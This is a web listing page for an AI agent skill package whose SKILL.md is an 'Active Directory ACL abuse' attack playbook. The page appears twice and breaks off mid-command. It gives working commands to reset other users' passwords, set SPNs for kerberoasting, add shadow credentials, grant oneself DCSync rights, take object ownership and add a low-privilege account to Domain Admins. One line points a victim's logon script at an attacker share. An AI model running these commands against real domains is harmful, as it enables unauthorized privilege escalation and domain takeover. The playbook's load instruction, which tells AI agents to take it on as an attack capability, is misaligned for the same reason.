active-directory-acl-abuse

Name: active-directory-acl-abuse
Author: ShulkwiSEC

18stars5forks

How to install active-directory-acl-abuse?

shulkwisec/bb-huge/active-directory-acl-abuse

$npx -y skills add ShulkwiSEC/bb-huge --skill active-directory-acl-abuse

Installs into the current project.

Summary

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

Files · 1

View on GitHub

SKILL.md

1	# SKILL: AD ACL Abuse — Expert Attack Playbook
2
3	> AI LOAD INSTRUCTION: Expert AD ACL abuse techniques. Covers BloodHound enumeration, dangerous ACEs (GenericAll, WriteDACL, WriteOwner, etc.), DCSync, shadow credentials, targeted kerberoasting, group manipulation, LAPS, and GPO abuse. Base models miss complex ACL chain exploitation and Cypher query patterns.
4
5	## 0. RELATED ROUTING
6
7	Before going deep, consider loading:
8
9	- [active-directory-kerberos-attacks](../active-directory-kerberos-attacks/SKILL.md) for Kerberos attacks often chained with ACL abuse
10	- [active-directory-certificate-services](../active-directory-certificate-services/SKILL.md) for certificate-based attacks after ACL exploitation
11	- [ntlm-relay-coercion](../ntlm-relay-coercion/SKILL.md) for relay attacks that can set ACLs (LDAP relay)
12	- [windows-lateral-movement](../windows-lateral-movement/SKILL.md) after gaining elevated AD access
13
14	### Advanced Reference
15
16	Also load [BLOODHOUND_PATHS.md](./BLOODHOUND_PATHS.md) when you need:
17	- Common BloodHound attack paths with Cypher queries
18	- Custom Neo4j queries for finding complex chains
19	- Data collection and ingestion tips
20
21	---
22
23	## 1. BLOODHOUND ENUMERATION
24
25	### Data Collection
26
27	```bash
28	# SharpHound (from Windows, domain-joined)
29	SharpHound.exe -c all --outputdirectory C:\temp --zipfilename bh.zip
30
31	# bloodhound-python (from Linux)
32	bloodhound-python -d domain.com -u user -p password -c all -dc DC01.domain.com -ns DC_IP
33
34	# Specific collection methods
35	SharpHound.exe -c DCOnly # Fastest — only DC queries
36	SharpHound.exe -c Session # Session data only (run periodically)
37	SharpHound.exe -c All,GPOLocalGroup # Include GPO analysis
38	```
39
40	### Key BloodHound Queries (Built-in)
41
42	- "Find all Domain Admins"
43	- "Shortest Paths to Domain Admins from Owned Principals"
44	- "Find Principals with DCSync Rights"
45	- "Shortest Paths to Unconstrained Delegation Systems"
46	- "Find computers where Domain Users are Local Admin"
47
48	---
49
50	## 2. DANGEROUS ACE TYPES
51
52	\| ACE \| Effect on Users \| Effect on Groups \| Effect on Computers \|
53	\|---\|---\|---\|---\|
54	\| GenericAll \| Change password, set SPN, modify attributes \| Add members \| RBCD, LAPS read, all attributes \|
55	\| GenericWrite \| Set SPN, modify attributes, shadow creds \| Add members \| RBCD, shadow credentials \|
56	\| WriteDACL \| Grant yourself any permission \| Same \| Same \|
57	\| WriteOwner \| Take ownership → then WriteDACL \| Same \| Same \|
58	\| ForceChangePassword \| Reset password without knowing old \| N/A \| N/A \|
59	\| AddMember \| N/A \| Add self/others to group \| N/A \|
60	\| AllExtendedRights \| Force change password, read LAPS \| N/A \| Read LAPS, BitLocker keys \|
61	\| ReadLAPSPassword \| N/A \| N/A \| Read local admin password \|
62	\| WriteSPN \| Set SPN → targeted kerberoast \| N/A \| N/A \|
63
64	---
65
66	## 3. ACE-SPECIFIC EXPLOITATION
67
68	### GenericAll on User
69
70	```powershell
71	# Option 1: Force change password
72	net user targetuser NewP@ss123 /domain
73
74	# Option 2: Targeted Kerberoasting
75	Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='fake/svc'}
76	# → Kerberoast, then clear SPN
77
78	# Option 3: Shadow Credentials
79	Whisker.exe add /target:targetuser /domain:domain.com /dc:DC01
80
81	# Option 4: Set logon script
82	Set-DomainObject -Identity targetuser -Set @{scriptpath='\\attacker\share\evil.ps1'}
83	```
84
85	### GenericAll / GenericWrite on Computer
86
87	```bash
88	# RBCD attack
89	rbcd.py -delegate-from 'CONTROLLED$' -delegate-to 'TARGET$' -action write DOMAIN/user:pass -dc-ip DC
90
91	# Shadow Credentials on computer
92	pywhisker.py -d domain.com -u user -p pass --target 'TARGET$' --action add --dc-ip DC
93	```
94
95	### WriteDACL
96
97	```powershell
98	# Grant DCSync rights to yourself
99	Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=com" -PrincipalIdentity lowpriv -Rights DCSync
100
101	# Impacket
102	dacledit.py -action write -rights DCSync -principal lowpriv -target-dn "DC=domain,DC=com" DOMAIN/lowpriv:pass -dc-ip DC
103	```
104
105	### WriteOwner
106
107	```powershell
108	# Step 1: Take ownership
109	Set-DomainObjectOwner -Identity targetuser -OwnerIdentity lowpriv
110
111	# Step 2: Grant WriteDACL to yourself (as owner)
112	Add-DomainObjectAcl -TargetIdentity targetuser -PrincipalIdentity lowpriv -Rights All
113
114	# Step 3: Now exploit as GenericAll
115	```
116
117	### ForceChangePassword
118
119	```bash
120	# Impacket
121	rpcclient -U 'DOMAIN/attacker%pass' DC01 -c "setuserinfo2 targetuser 23 'NewP@ss123!'"
122
123	# PowerView
124	Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 'NewP@ss123!' -AsPlainText -Force)
125
126	# net rpc
127	net rpc password targetuser 'NewP@ss123!' -U DOMAIN/attacker%pass -S DC01
128	```
129
130	### AddMember to Group
131
132	```powershell
133	# Add self to privileged group
134	Add-DomainGroupMember -Identity "Domain Admins" -Members lowpriv
135
136	# Impacket
137	net rpc group addmem "Domain Admins" lowpriv -U DOMAIN/

People who liked this also viewed

6 picks

Type

active-directory-acl-abuse

18stars5forks

View on GitHub

How to install active-directory-acl-abuse?

shulkwisec/bb-huge/active-directory-acl-abuse

$npx -y skills add ShulkwiSEC/bb-huge --skill active-directory-acl-abuse

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# SKILL: AD ACL Abuse — Expert Attack Playbook
2
3	> AI LOAD INSTRUCTION: Expert AD ACL abuse techniques. Covers BloodHound enumeration, dangerous ACEs (GenericAll, WriteDACL, WriteOwner, etc.), DCSync, shadow credentials, targeted kerberoasting, group manipulation, LAPS, and GPO abuse. Base models miss complex ACL chain exploitation and Cypher query patterns.
4
5	## 0. RELATED ROUTING
6
7	Before going deep, consider loading:
8
9	- [active-directory-kerberos-attacks](../active-directory-kerberos-attacks/SKILL.md) for Kerberos attacks often chained with ACL abuse
10	- [active-directory-certificate-services](../active-directory-certificate-services/SKILL.md) for certificate-based attacks after ACL exploitation
11	- [ntlm-relay-coercion](../ntlm-relay-coercion/SKILL.md) for relay attacks that can set ACLs (LDAP relay)
12	- [windows-lateral-movement](../windows-lateral-movement/SKILL.md) after gaining elevated AD access
13
14	### Advanced Reference
15
16	Also load [BLOODHOUND_PATHS.md](./BLOODHOUND_PATHS.md) when you need:
17	- Common BloodHound attack paths with Cypher queries
18	- Custom Neo4j queries for finding complex chains
19	- Data collection and ingestion tips
20
21	---
22
23	## 1. BLOODHOUND ENUMERATION
24
25	### Data Collection
26
27	```bash
28	# SharpHound (from Windows, domain-joined)
29	SharpHound.exe -c all --outputdirectory C:\temp --zipfilename bh.zip
30
31	# bloodhound-python (from Linux)
32	bloodhound-python -d domain.com -u user -p password -c all -dc DC01.domain.com -ns DC_IP
33
34	# Specific collection methods
35	SharpHound.exe -c DCOnly # Fastest — only DC queries
36	SharpHound.exe -c Session # Session data only (run periodically)
37	SharpHound.exe -c All,GPOLocalGroup # Include GPO analysis
38	```
39
40	### Key BloodHound Queries (Built-in)
41
42	- "Find all Domain Admins"
43	- "Shortest Paths to Domain Admins from Owned Principals"
44	- "Find Principals with DCSync Rights"
45	- "Shortest Paths to Unconstrained Delegation Systems"
46	- "Find computers where Domain Users are Local Admin"
47
48	---
49
50	## 2. DANGEROUS ACE TYPES
51
52	\| ACE \| Effect on Users \| Effect on Groups \| Effect on Computers \|
53	\|---\|---\|---\|---\|
54	\| GenericAll \| Change password, set SPN, modify attributes \| Add members \| RBCD, LAPS read, all attributes \|
55	\| GenericWrite \| Set SPN, modify attributes, shadow creds \| Add members \| RBCD, shadow credentials \|
56	\| WriteDACL \| Grant yourself any permission \| Same \| Same \|
57	\| WriteOwner \| Take ownership → then WriteDACL \| Same \| Same \|
58	\| ForceChangePassword \| Reset password without knowing old \| N/A \| N/A \|
59	\| AddMember \| N/A \| Add self/others to group \| N/A \|
60	\| AllExtendedRights \| Force change password, read LAPS \| N/A \| Read LAPS, BitLocker keys \|
61	\| ReadLAPSPassword \| N/A \| N/A \| Read local admin password \|
62	\| WriteSPN \| Set SPN → targeted kerberoast \| N/A \| N/A \|
63
64	---
65
66	## 3. ACE-SPECIFIC EXPLOITATION
67
68	### GenericAll on User
69
70	```powershell
71	# Option 1: Force change password
72	net user targetuser NewP@ss123 /domain
73
74	# Option 2: Targeted Kerberoasting
75	Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='fake/svc'}
76	# → Kerberoast, then clear SPN
77
78	# Option 3: Shadow Credentials
79	Whisker.exe add /target:targetuser /domain:domain.com /dc:DC01
80
81	# Option 4: Set logon script
82	Set-DomainObject -Identity targetuser -Set @{scriptpath='\\attacker\share\evil.ps1'}
83	```
84
85	### GenericAll / GenericWrite on Computer
86
87	```bash
88	# RBCD attack
89	rbcd.py -delegate-from 'CONTROLLED$' -delegate-to 'TARGET$' -action write DOMAIN/user:pass -dc-ip DC
90
91	# Shadow Credentials on computer
92	pywhisker.py -d domain.com -u user -p pass --target 'TARGET$' --action add --dc-ip DC
93	```
94
95	### WriteDACL
96
97	```powershell
98	# Grant DCSync rights to yourself
99	Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=com" -PrincipalIdentity lowpriv -Rights DCSync
100
101	# Impacket
102	dacledit.py -action write -rights DCSync -principal lowpriv -target-dn "DC=domain,DC=com" DOMAIN/lowpriv:pass -dc-ip DC
103	```
104
105	### WriteOwner
106
107	```powershell
108	# Step 1: Take ownership
109	Set-DomainObjectOwner -Identity targetuser -OwnerIdentity lowpriv
110
111	# Step 2: Grant WriteDACL to yourself (as owner)
112	Add-DomainObjectAcl -TargetIdentity targetuser -PrincipalIdentity lowpriv -Rights All
113
114	# Step 3: Now exploit as GenericAll
115	```
116
117	### ForceChangePassword
118
119	```bash
120	# Impacket
121	rpcclient -U 'DOMAIN/attacker%pass' DC01 -c "setuserinfo2 targetuser 23 'NewP@ss123!'"
122
123	# PowerView
124	Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 'NewP@ss123!' -AsPlainText -Force)
125
126	# net rpc
127	net rpc password targetuser 'NewP@ss123!' -U DOMAIN/attacker%pass -S DC01
128	```
129
130	### AddMember to Group
131
132	```powershell
133	# Add self to privileged group
134	Add-DomainGroupMember -Identity "Domain Admins" -Members lowpriv
135
136	# Impacket
137	net rpc group addmem "Domain Admins" lowpriv -U DOMAIN/

People who liked this also viewed

6 picks

Type